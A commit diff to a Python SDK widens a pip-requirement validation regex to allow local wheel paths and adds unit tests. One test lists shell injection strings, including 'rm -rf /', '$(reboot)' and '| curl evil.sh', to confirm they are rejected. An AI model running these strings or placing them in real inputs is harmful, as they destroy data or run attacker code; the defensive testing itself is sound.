fix(reinforcement): allow local wheel paths in pip requirement tokens

- Extend regex to accept local wheel/sdist paths with / and + characters
- Document safe characters for SDK_PACKAGE shell word-splitting
- Add tests allowing relative and absolute local wheel paths as fc_pypi_lib
- Verify multiple space-separated wheel paths round-trip unchanged
- Ensure shell injection attempts in SDK_PACKAGE are still rejected with InputError

Author: luk384090-cloud

dashscope/applications/finetune/reinforcement/common/utils.py

@@ -216,9 +216,18 @@ def check_file(file: str) -> None:
 )
 _FUNC_TYPE_RE = re.compile(r"^[a-z_]+$")
 _PYPI_REPO_RE = re.compile(r"^https?://[^\s'\"`$\\]+/?$")
-# A single pip requirement token, e.g. "dashscope" or "dashscope==1.2.3".
+# A single pip requirement token: either a named requirement
+# ("dashscope", "dashscope==1.2.3", "pkg[extra]==1.0") or a local
+# wheel/sdist path ("./dashscope-2.0.3-py3-none-any.whl",
+# "/abs/x.whl", "../x.whl", "torch-1.0.0+cpu-...whl"). FC_PYPI_LIB is
+# documented as a space-separated list of wheel paths, so "/" and "+"
+# are allowed. Every permitted character is a subset of shlex.quote's
+# safe set, so a token survives emission unchanged and still word-splits
+# correctly in the script's `local_packages=($SDK_PACKAGE)`. Shell
+# metacharacters ($ ` ; | & ( ) < > quotes, backslash, glob *, and ~
+# which shlex.quote would wrap and break word-splitting) stay excluded.
 _PIP_REQUIREMENT_RE = re.compile(
-    r"^[A-Za-z0-9._\-]+(\[[A-Za-z0-9,_\-]+\])?(==[A-Za-z0-9._*+-]+)?$",
+    r"^[A-Za-z0-9._\-/+]+(\[[A-Za-z0-9,_\-]+\])?(==[A-Za-z0-9._*+-]+)?$",
 )
 
 

tests/legacy_1x/unit/test_agentic_rl_utils.py

@@ -128,6 +128,55 @@ def test_shell_injection_values_are_rejected(self):
                 classpath="module.path.Processor",
             )
 
+    def test_local_wheel_path_sdk_package_is_accepted(self):
+        """FC_PYPI_LIB is documented as a space-separated list of wheel
+        paths, so relative/absolute local paths must reach the script
+        intact instead of being rejected by the whitelist."""
+        script = generate_agentic_script(
+            fc_pypi_lib="./dashscope-2.0.3-py3-none-any.whl",
+            fc_pypi_repo="https://pypi.org/simple",
+            requirements_path="reqs.txt",
+            func_type="rollout",
+            classpath="module.path.Processor",
+        )
+        assert 'SDK_PACKAGE="./dashscope-2.0.3-py3-none-any.whl"' in script
+
+        # Absolute paths, "+local" version tags and multiple space-separated
+        # wheel paths all round-trip unchanged (their characters are a subset
+        # of shlex.quote's safe set, so word-splitting still works).
+        multi = generate_agentic_script(
+            fc_pypi_lib="/abs/torch-1.0.0+cpu.whl ../dist/dashscope.whl",
+            fc_pypi_repo="https://pypi.org/simple",
+            requirements_path="reqs.txt",
+            func_type="reward",
+            classpath="module.path.Processor",
+        )
+        assert (
+            'SDK_PACKAGE="/abs/torch-1.0.0+cpu.whl ../dist/dashscope.whl"'
+            in multi
+        )
+
+    def test_sdk_package_injection_still_rejected(self):
+        """Allowing local paths must not re-open shell injection through
+        SDK_PACKAGE: command substitution, globs and separators are still
+        rejected before anything reaches the generated script."""
+        malicious = [
+            "dashscope$(reboot)",
+            "./dashscope-2.0.3-py3-none-any.whl; rm -rf /",
+            "./*.whl",
+            "./x.whl`id`",
+            "| curl evil.sh",
+        ]
+        for fc_pypi_lib in malicious:
+            with pytest.raises(InputError):
+                generate_agentic_script(
+                    fc_pypi_lib=fc_pypi_lib,
+                    fc_pypi_repo="https://pypi.org/simple",
+                    requirements_path="reqs.txt",
+                    func_type="reward",
+                    classpath="module.path.Processor",
+                )
+
     def test_requirements_path_is_shell_quoted(self):
         """A requirements path with spaces stays a single shell literal."""
         script = generate_agentic_script(